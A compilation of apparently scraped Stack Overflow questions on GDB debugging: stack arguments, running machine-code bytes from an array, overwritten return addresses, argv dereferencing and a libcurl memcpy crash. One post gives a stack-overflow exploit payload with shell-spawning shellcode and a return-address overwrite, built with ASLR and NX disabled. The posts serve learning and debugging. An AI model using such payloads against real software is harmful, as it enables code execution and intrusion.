I have a simple bit of assembly which I am stepping through in GDB. I am unable to share it here, but the current task is to examine the contents of the char * parameter in the function.
(gdb) x/i $pc
=> 0xf7efdb14 <__strcmp_sse4_2+4>: mov 0x4(%esp),%edx
(gdb) x/s $edx
0xf7f979c0: ""
(gdb) x/s $esp + 4
0xffffd100: ",\321\377\377\244pUV f\371\367]cUV\200\373\377\377\353g\277\362\222pUV#n\371\367#\332\377", <incomplete sequence \367>
(gdb) ni
198 in ../sysdeps/i386/i686/multiarch/strcmp-sse4.S
(gdb) x/s $esp + 4
0xffffd100: ",\321\377\377\244pUV f\371\367]cUV\200\373\377\377\353g\277\362\222pUV#n\371\367#\332\377", <incomplete sequence \367>
(gdb) x/s $edx
0xffffd12c: "abcd\n"
It's my understanding that the parameter is in the assembly address of the stack pointer, %esp plus an offset of 4. This is confirmed in the assembly, but I can't seem to figure out why I can't examine that value directly in GDB. Instead, I can only examine it after it has been moved to the %eax register. I would expect the two x/s results to print the same thing, but can't find out why they are not equivalent.
Related
This question already has answers here:
How to get c code to execute hex machine code?
(7 answers)
Linux default behavior of executable .data section changed between 5.4 and 5.9?
(2 answers)
Closed 1 year ago.
I'm trying to understand the basics of stack smashing attacks but I'm finding that the code seg faults when jumping to the overwritten return address. To isolate the issue, I wrote a small snippet of code exhibiting the same behaviour, using a single NOP instruction stored in the data segment of memory:
char nop[] = "\x90";
int main(){
((void(*)(void))nop)();
}
Which I'm then compiling as follows:
gcc -fno-stack-protector -z execstack nop.c -g -o nop
Executing the code step-wise from the function call in GDB gives the same results:
foo#bar:~/path/to/file$ gdb -q nop
/home/foo/.gdbinit:1: Error in sourced command file:
Ambiguous set command "dis intel": disable-randomization, disassemble-next-line, disassembler-options, disassembly-flavor...
Reading symbols from nop...
(gdb) list
1 char nop[] = "\x90";
2 int main(){
3 ((void(*)(void))nop)();
4 }
(gdb) break 3
Breakpoint 1 at 0x1131: file nop.c, line 3.
(gdb) run
Starting program: /home/foo/path/to/file/nop
Breakpoint 1, main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x555555555131 <main+8>: lea 0x2ed8(%rip),%rax # 0x555555558010 <nop>
(gdb) step
Program received signal SIGSEGV, Segmentation fault.
0x0000555555558010 in nop ()
(gdb) x/xi $rip
=> 0x555555558010 <nop>: nop
In similar questions, the issue seems to stem from the data segment being non-executable, which appears to be the case here too. Most answers seem to suggest using the execstack flag to disable this though, which clearly isn't working here.
Any help would be much appreciated!
Edit 1: Quick verification that the execstack flag is being set:
foo#bar:~/path/to/file$ execstack nop
X nop
Edit 2: Rerunning GDB using stepi rather than step suggests that the seg-fault happens the instruction after the code jumps to the NOP:
foo#bar:~/path/to/file$ gdb -q nop
/home/foo/.gdbinit:1: Error in sourced command file:
Ambiguous set command "dis intel": disable-randomization, disassemble-next-line, disassembler-options, disassembly-flavor...
Reading symbols from nop...
(gdb) break 3
Breakpoint 1 at 0x1131: file nop.c, line 3.
(gdb) run
Starting program: /home/foo/path/to/file/nop
Breakpoint 1, main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) stepi
0x0000555555555138 3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x555555555138 <main+15>: callq *%rax
(gdb) stepi
0x0000555555558010 in nop ()
(gdb) x/xi $rip
=> 0x555555558010 <nop>: nop
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0x0000555555558010 in nop ()
(gdb) x/xi $rip
=> 0x555555558010 <nop>: nop
Just solved the problem, which was a combination of two issues:
I assumed that the execstack flag would make all non-text segments of memory executable, however it seems this is not the case. To fix this, I made the raw hex code a local variable:
int main(){
char nop[] = "\x90";
((void(*)(void))nop)();
}
The next issue seems to have been that, with no return instruction, the code continues executing after the nop until it hits a bad area of memory. To fix this, I wrote a simple function performing the same task...
void nop() {
return;
}
int main(){
nop();
}
Extracted the hex from the disassembled code...
nop:
\xf3\x0f\x1e\xfa endbr64
\x55 push %rbp
\x48\x89\xe5 mov %rsp,%rbp
\x90 nop
\x5d pop %rbp
\xc3 retq
Then used these bytes as the basis for my character array:
int main(){
char nop[] = "\xf3\x0f\x1e\xfa\x55\x48\x89\xe5\x90\x5d\xc3";
((void(*)(void))nop)();
}
This led to a successful execution:
foo#bar:~/path/to/file$ gdb -q nop
/home/foo/.gdbinit:1: Error in sourced command file:
Ambiguous set command "dis intel": disable-randomization, disassemble-next-line, disassembler-options, disassembly-flavor...
Reading symbols from nop...
(gdb) list
warning: Source file is more recent than executable.
1 int main(){
2 char nop[] = "\xf3\x0f\x1e\xfa\x55\x48\x89\xe5\x90\x5d\xc3";
3 ((void(*)(void))nop)();
4 }
(gdb) break 3
Breakpoint 1 at 0x114a: file nop.c, line 3.
(gdb) run
Starting program: /home/foo/path/to/file/nop
Breakpoint 1, main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x55555555514a <main+33>: lea -0xc(%rbp),%rax
(gdb) stepi
0x000055555555514e 3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x55555555514e <main+37>: callq *%rax
(gdb) stepi
0x00007fffffffe204 in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe204: endbr64
(gdb) stepi
0x00007fffffffe208 in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe208: push %rbp
(gdb) stepi
0x00007fffffffe209 in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe209: mov %rsp,%rbp
(gdb) stepi
0x00007fffffffe20c in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe20c: nop
(gdb) stepi
0x00007fffffffe20d in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe20d: pop %rbp
(gdb) stepi
0x00007fffffffe20e in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe20e: retq
(gdb) stepi
0x0000555555555150 in main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x555555555150 <main+39>: mov $0x0,%eax
(gdb) continue
Continuing.
[Inferior 1 (process 68215) exited normally]
I have a piece of code that just strcpy() the argv1 in a buffer of 100 bytes long. After that I am placing for testing purposes the exit(0) or exit(1) function. Nothing else used. What I am getting back from gdb is the following
(gdb) i r eip
eip 0x8048455 0x8048455 <main+65>
(gdb) info frame
Stack level 0, frame at 0xbffff260:
eip = 0x8048455 in main (exploitable.c:9); saved eip 0x41414141
source language c.
Arglist at 0xbffff258, args: argc=1094795585, argv=0xbffff304
Locals at 0xbffff258, Previous frame's sp is 0xbffff260
Saved registers:
ebp at 0xbffff258, eip at 0xbffff25c
(gdb) i r eip
eip 0x8048455 0x8048455 <main+65>
(gdb) c
Continuing.
[Inferior 1 (process 2829) exited normally]
Since the saved eip is 0x41414141 why after leaving this current stack the execution is going to the invalid 0x41414141 address? For sure it has something to do with the exit function but I cant understand it :/
I know that the explanation is in the following code but I cant get it
=> 0x08048455 <+65>: mov DWORD PTR [esp],0x0
0x0804845c <+72>: call 0x8048350 <exit#plt>
The last line implies that the execution goes to the exit function and im not sure that the 0x08040455 line shows the 0 argument that passes to exit function. Exit function does not have any leave / ret instructions when it is running ? Because the saved-eip of the frame that is "just" outside the main is overwritten!
The exit function does not return. It calls function defined with atexit(), does some cleanup, and terminates the process by calling Linux with function 0 (EXIT).
Use return 1 / return 0 instead of exit(1) / exit(0), if you want to check what happens with your EIP after main() is finished.
How can I make GDB do extra dereferences in a printing function like
x/s?
When I try explicit dereferences in x/ I get the error "Attempt to
dereference a generic pointer". Using x/ multiple times works, since
each use includes an implicit dereference, but this is annoying since
I have to copy and paste each intermediate result.
Example
Consider the very useful C program, example.c:
#include <stdio.h>
int main(int argc, char **argv) {
printf("argv[0] = %s\n", argv[0]);
}
If I build it and load it into GDB, I see that argv is stored at
0xc(%ebp), since a double dererence of that is passed as the second
argument to printf (i.e. in 0x4(%esp)) on line 26:
$ gcc -o example example.c
$ gdb example
(gdb) disass main
Dump of assembler code for function main:
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: and $0xfffffff0,%esp
0x080483ea <+6>: sub $0x10,%esp
0x080483ed <+9>: mov 0xc(%ebp),%eax
0x080483f0 <+12>: mov (%eax),%edx
0x080483f2 <+14>: mov $0x80484e0,%eax
0x080483f7 <+19>: mov %edx,0x4(%esp)
0x080483fb <+23>: mov %eax,(%esp)
0x080483fe <+26>: call 0x8048300 <printf#plt>
0x08048403 <+31>: leave
0x08048404 <+32>: ret
End of assembler dump.
I break at printf and run the program with arguments first and
second:
(gdb) break *main + 26
Breakpoint 1 at 0x80483fe
(gdb) run first second
Starting program: /var/tmp/SO-attempt-to-dereference-generic-pointer/example first second
I attempt to print argv[0] in GDB, but I get the "generic pointer"
error:
Breakpoint 1, 0x080483e5 in main ()
(gdb) x/s **(0xc + $ebp)
Attempt to dereference a generic pointer.
However, by using 'x/xw' to manually dereference a few times, I'm
eventually able to print argv[0] (and argv[1]):
(gdb) x/xw 0xc + $ebp
0xbfffeba4: 0xbfffec34
(gdb) x/xw 0xbfffec34
0xbfffec34: 0xbfffedc8
(gdb) x/s 0xbfffedc8
0xbfffedc8: "/var/tmp/SO-attempt-to-dereference-generic-pointer/example"
(gdb) x/xw 0xbfffec34 + 4
0xbfffec38: 0xbfffee03
(gdb) x/s 0xbfffee03
0xbfffee03: "first"
(gdb)
But this is annoying and indirect (as pointer programming is wont to be?)
The solution is to cast the pointers before dereferencing them.
For example, picking up where we left off above:
(gdb) x/s **((char ***) (0xc + $ebp))
0xbfffedc8: "/var/tmp/SO-attempt-to-dereference-generic-pointer/example"
(gdb) x/s *(*((char ***) (0xc + $ebp)) + 1)
0xbfffee03: "first"
(gdb) x/s *(*((char ***) (0xc + $ebp)) + 2)
0xbfffee09: "second"
Note that the stack address 0xc + $ebp is itself a pointer to the
contents of that stack location, and so we need char *** and not
char **.
I'm doing a stack overflow experiment with aslr and nx disabled. But the gdb show up a weird result.
Environment:
Linux 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux
Disable aslr:
echo 0 > /proc/sys/kernel/randomize_va_space
Compiled the source with execstatck(Debian has no kernel parameter named exec-shield):
gcc 1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
Here's description of the problem:
(gdb) disas main
Dump of assembler code for function main:
0x0804841c <+0>: push %ebp
0x0804841d <+1>: mov %esp,%ebp
0x0804841f <+3>: sub $0x208,%esp
0x08048425 <+9>: mov 0xc(%ebp),%eax
0x08048428 <+12>: add $0x4,%eax
0x0804842b <+15>: mov (%eax),%eax
0x0804842d <+17>: mov %eax,0x4(%esp)
0x08048431 <+21>: lea -0x200(%ebp),%eax
0x08048437 <+27>: mov %eax,(%esp)
0x0804843a <+30>: call 0x8048300 <strcpy#plt>
0x0804843f <+35>: mov $0x0,%eax
0x08048444 <+40>: leave
0x08048445 <+41>: ret
End of assembler dump.
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
Program received signal SIGSEGV, Segmentation fault.
0xbafff87d in ?? ()
program is leaded to 0xbafff87d and crashed.This is under expectation.
So i change the address from 0xbafff87d to the address of shellcode: 0xbffff87d.
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
(gdb) i r $eip
eip 0xbffff88d 0xbffff88d
but the program is leaded to 0xbffff88d instead of 0xbffff87d and crashed.The last one byte of the return address has been modified. Why?
I try to add a breakpoint before the function 'leave' (0x08048444 <+40>: leave ):
(gdb) b *0x08048444
Breakpoint 1 at 0x8048444
#run the program with the large payload as above
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff518: 0x41414141 0xbffff87d
#the return addr is indeed overwritten to 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
the eip is still leaded to 0xbffff88d.
I cannot figure out what makes the return address modified and when this happned.
Maybe I miss out some knowledge there. Beside the question above, I also think that gdb sometimes 'cache' the running result of the debugged program, becase sometimes the gdb show me the same result while I already change the parameters.
Thanks in advance :)
=======
Update for answering Leeor's comment:
It also crash outside gdb. Segmentation fault. The coredump file shows the eip is 0xbffff88b when segfaulted.(While my overwritten value is 0xbffff87d, the last byte is modified)
Manually overwriting the return address:
(gdb) b *0x08048444
Breakpoint 1 at 0x8048444
(gdb) run test
Starting program: /home/xxx/tests/a.out test
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff718: 0xbffff798 0xb7e7ae46
(gdb) x/2 0xbffff71c
0xbffff71c: 0xb7e7ae46 0x00000002
(gdb) set *0xbffff71c=0xbffff87d
(gdb) x/2x $ebp
0xbffff718: 0xbffff798 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff87d in ?? ()
This is working as I expect(There is no valid shellcode at 0xbffff87d cause I run with parameter test. I found that when a "illegal instruction" error occurred, gdb still tell you it's Segment Fault).
But it's still not working while I run it with overflow payload:
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff508: 0x41414141 0xbffff87d
(gdb) set *0xbffff50c=0xbffff87d
(gdb) x/2x $ebp
0xbffff508: 0x41414141 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff88b in ?? ()
The last byte of return address is modified.
I'd say execution goes to the correct address first, just that the instruction there doesn't happen to crash. Try some of the following:
use si instead of c
put a breakpoint on 0xbffff87d
disassemble code at 0xbffff87d
Since your address is on the stack, the contents may be different when stack layout changes. Note that the command line argument is also on the stack, so your runs with test and the actual payload use different stack layout.
I'm using libcurl in my program, and running into a segfault. Before I filed a bug with the curl project, I thought I'd do a little debugging. What I found seemed very odd to me, and I haven't been able to make sense of it yet.
First, the segfault traceback:
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffe77f6700 (LWP 592)]
0x00007ffff6a2ea5c in memcpy () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) bt
#0 0x00007ffff6a2ea5c in memcpy () from /lib/x86_64-linux-gnu/libc.so.6
#1 0x00007ffff5bc29e5 in x509_name_oneline (a=0x7fffe3d9c3c0,
buf=0x7fffe77f4ec0 "C=US; O=The Go Daddy Group, Inc.; OU=Go Daddy Class 2 Certification Authority\375\034<M_r\206\233\261\310\340\371\023.Jg\205\244\304\325\347\372\016#9Ph%", size=255) at ssluse.c:629
#2 0x00007ffff5bc2a6f in cert_verify_callback (ok=1, ctx=0x7fffe77f50b0)
at ssluse.c:645
#3 0x00007ffff72c9a80 in ?? () from /lib/libcrypto.so.0.9.8
#4 0x00007ffff72ca430 in X509_verify_cert () from /lib/libcrypto.so.0.9.8
#5 0x00007ffff759af58 in ssl_verify_cert_chain () from /lib/libssl.so.0.9.8
#6 0x00007ffff75809f3 in ssl3_get_server_certificate ()
from /lib/libssl.so.0.9.8
#7 0x00007ffff7583e50 in ssl3_connect () from /lib/libssl.so.0.9.8
#8 0x00007ffff5bc48f0 in ossl_connect_step2 (conn=0x7fffe315e9a8, sockindex=0)
at ssluse.c:1724
#9 0x00007ffff5bc700f in ossl_connect_common (conn=0x7fffe315e9a8,
sockindex=0, nonblocking=false, done=0x7fffe77f543f) at ssluse.c:2498
#10 0x00007ffff5bc7172 in Curl_ossl_connect (conn=0x7fffe315e9a8, sockindex=0)
at ssluse.c:2544
#11 0x00007ffff5ba76b9 in Curl_ssl_connect (conn=0x7fffe315e9a8, sockindex=0)
...
The call to memcpy looks like this:
memcpy(buf, biomem->data, size);
(gdb) p buf
$46 = 0x7fffe77f4ec0 "C=US; O=The Go Daddy Group, Inc.; OU=Go Daddy Class 2 Certification Authority\375\034<M_r\206\233\261\310\340\371\023.Jg\205\244\304\325\347\372\016#9Ph%"
(gdb) p biomem->data
$47 = 0x7fffe3e1ef60 "C=US; O=The Go Daddy Group, Inc.; OU=Go Daddy Class 2 Certification Authority\375\034<M_r\206\233\261\310\340\371\023.Jg\205\244\304\325\347\372\016#9Ph%"
(gdb) p size
$48 = 255
If I go up a frame, I see that the pointer passed in for buf came from a local variable defined in the calling function:
char buf[256];
Here's where it starts to get weird. I can manually inspect all 256 bytes of both buf and biomem->data without gdb complaining that the memory isn't accesible. I can also manually write all 256 bytes of buf using the gdb set command, without any error. So if all the memory involved is readable and writable, why does memcpy fail?
Also interesting is that I can use gdb to manually call memcpy with the pointers involved. As long as I pass a size <= 160, it runs without a problem. As soon as I pass 161 or higher, gdb gets a sigsegv. I know buf is larger than 160, because it was created on the stack as an array of 256. biomem->data is a little harder to figure, but I can read well past byte 160 with gdb.
I should also mention that this function (or rather the curl method I call that leads to this) completes successfully many times before the crash. My program uses curl to repeatedly call a web service API while it runs. It calls the API every five seconds or so, and runs for about 14 hours before it crashes. It's possible that something else in my app is writing out of bounds and stomping on something that creates the error condition. But it seems suspicious that it crashes at exactly the same point every time, although the timing varies. And all the pointers seem ok in gdb, but memcpy still fails. Valgrind doesn't find any bounds errors, but I haven't let my program run with valgrind for 14 hours.
Within memcpy itself, the disassembly looks like this:
(gdb) x/20i $rip-10
0x7ffff6a2ea52 <memcpy+242>: jbe 0x7ffff6a2ea74 <memcpy+276>
0x7ffff6a2ea54 <memcpy+244>: lea 0x20(%rdi),%rdi
0x7ffff6a2ea58 <memcpy+248>: je 0x7ffff6a2ea90 <memcpy+304>
0x7ffff6a2ea5a <memcpy+250>: dec %ecx
=> 0x7ffff6a2ea5c <memcpy+252>: mov (%rsi),%rax
0x7ffff6a2ea5f <memcpy+255>: mov 0x8(%rsi),%r8
0x7ffff6a2ea63 <memcpy+259>: mov 0x10(%rsi),%r9
0x7ffff6a2ea67 <memcpy+263>: mov 0x18(%rsi),%r10
0x7ffff6a2ea6b <memcpy+267>: mov %rax,(%rdi)
0x7ffff6a2ea6e <memcpy+270>: mov %r8,0x8(%rdi)
0x7ffff6a2ea72 <memcpy+274>: mov %r9,0x10(%rdi)
0x7ffff6a2ea76 <memcpy+278>: mov %r10,0x18(%rdi)
0x7ffff6a2ea7a <memcpy+282>: lea 0x20(%rsi),%rsi
0x7ffff6a2ea7e <memcpy+286>: lea 0x20(%rdi),%rdi
0x7ffff6a2ea82 <memcpy+290>: jne 0x7ffff6a2ea30 <memcpy+208>
0x7ffff6a2ea84 <memcpy+292>: data32 data32 nopw %cs:0x0(%rax,%rax,1)
0x7ffff6a2ea90 <memcpy+304>: and $0x1f,%edx
0x7ffff6a2ea93 <memcpy+307>: mov -0x8(%rsp),%rax
0x7ffff6a2ea98 <memcpy+312>: jne 0x7ffff6a2e969 <memcpy+9>
0x7ffff6a2ea9e <memcpy+318>: repz retq
(gdb) info registers
rax 0x0 0
rbx 0x7fffe77f50b0 140737077268656
rcx 0x1 1
rdx 0xff 255
rsi 0x7fffe3e1f000 140737016623104
rdi 0x7fffe77f4f60 140737077268320
rbp 0x7fffe77f4e90 0x7fffe77f4e90
rsp 0x7fffe77f4e48 0x7fffe77f4e48
r8 0x11 17
r9 0x10 16
r10 0x1 1
r11 0x7ffff6a28f7a 140737331236730
r12 0x7fffe3dde490 140737016358032
r13 0x7ffff5bc2a0c 140737316137484
r14 0x7fffe3d69b50 140737015880528
r15 0x0 0
rip 0x7ffff6a2ea5c 0x7ffff6a2ea5c <memcpy+252>
eflags 0x10203 [ CF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) p/x $rsi
$50 = 0x7fffe3e1f000
(gdb) x/20x $rsi
0x7fffe3e1f000: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffe3e1f010: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffe3e1f020: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffe3e1f030: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffe3e1f040: 0x00000000 0x00000000 0x00000000 0x00000000
I'm using libcurl version 7.21.6, c-ares version 1.7.4, and openssl version 1.0.0d. My program is multithreaded, but I have registered mutex callbacks with openssl. The program is running on Ubuntu 11.04 desktop, 64-bit. libc is 2.13.
Clearly libcurl is over-reading the source buffer, and stepping into unreadable memory (page at 0x7fffe3e1f000 -- you can confirm that memory is unreadable by looking at /proc/<pid>/maps for the program being debugged).
Here's where it starts to get weird. I can manually inspect all 256 bytes of both
buf and biomem->data without gdb complaining that the memory isn't accesible.
There is a well-known Linux kernel flaw: even for memory that has PROT_NONE (and causes SIGSEGV on attempt to read it from the process itself), attempt by GDB to ptrace(PEEK_DATA,...) succeeds. That explains why you can examine 256 bytes of the source buffer in GDB, even though only 96 of them are actually accessible.
Try running your program under Valgrind, chances are it will tell you that you are memcpying into heap-allocated buffer that is too small.
Do you any possibility of creating a "crumple zone"?
That is, deliberately increasing the size of the two buffers, or in the case of the structure putting an extra unused element after the destination?
You then seed the source crumple with something such as "0xDEADBEEF", and the destination with som with something nice. If the destination every changes you've got something to work with.
256 is a bit suggestive, any possibility it could somehow be being treated as signed quantity, becoming -1, and hence very big? Can't see how gdb wouldn't show it, but ...